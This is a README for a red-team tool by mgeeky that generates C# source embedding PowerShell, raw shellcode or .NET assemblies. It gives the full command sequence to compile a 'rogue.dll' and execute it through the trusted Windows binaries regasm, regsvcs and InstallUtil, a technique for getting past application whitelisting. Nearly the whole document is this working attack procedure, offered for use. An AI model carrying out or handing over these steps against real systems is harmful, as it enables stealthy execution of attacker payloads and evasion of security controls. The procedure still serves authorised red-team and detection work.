90 lines
3.7 KiB
Markdown
90 lines
3.7 KiB
Markdown
## Rogue .NET Assembly for Regsvcs/Regasm/InstallUtil Code Execution
|
|
|
|
Follow below described steps to properly generate your source code and then compile it into a nice rogue .NET Assembly ready to be executed by:
|
|
|
|
- [Regasm](https://lolbas-project.github.io/lolbas/Binaries/Regasm/)
|
|
- [Regsvcs](https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/)
|
|
- [InstallUtil](https://lolbas-project.github.io/lolbas/Binaries/Installutil/)
|
|
|
|
### Step 1: Generate key.snk file
|
|
|
|
```
|
|
powershell -file build.ps1
|
|
```
|
|
|
|
### Step 2: Generate source code file
|
|
|
|
Included in this directory script is a helper utility allowing one to quickly generate desired csharp source code file to be used for further `csc` compilation.
|
|
|
|
Usage:
|
|
|
|
```
|
|
python3 generateRogueDotNet.py --help
|
|
|
|
:: Rogue .NET Source Code Generation Utility
|
|
To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm/InstallUtil.
|
|
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
|
|
|
usage: .\generateRogueDotNet.py [options] <inputFile>
|
|
|
|
positional arguments:
|
|
inputFile Input file to be embeded within C# code. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.
|
|
|
|
optional arguments:
|
|
-h, --help show this help message and exit
|
|
-e, --exe Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!
|
|
-r, --raw Specified input file is a raw Shellcode to be injected in self process in a separate Thread.
|
|
```
|
|
|
|
Sample use case:
|
|
|
|
```
|
|
python3 generateRogueDotNet.py -r notepad64.bin > program.cs
|
|
|
|
:: Rogue .NET Source Code Generation Utility
|
|
To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm/InstallUtil.
|
|
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
|
|
|
[?] File specified as raw Shellcode.
|
|
|
|
```
|
|
|
|
|
|
### Step 3: Compilate library .NET Assembly
|
|
|
|
```
|
|
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
|
|
```
|
|
|
|
If you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script). Then proper compilation command will be:
|
|
|
|
```
|
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
|
|
```
|
|
|
|
|
|
### Step 4: Code execution via Regsvcs, Regasm or InstallUtil:
|
|
|
|
- x86:
|
|
```
|
|
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe rogue.dll
|
|
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U rogue.dll
|
|
|
|
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe rogue.dll
|
|
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U rogue.dll
|
|
|
|
%WINDIR%\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
|
|
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
|
|
```
|
|
|
|
- x64:
|
|
```
|
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe rogue.dll
|
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U rogue.dll
|
|
|
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe rogue.dll
|
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe /U rogue.dll
|
|
|
|
%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
|
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
|
|
``` |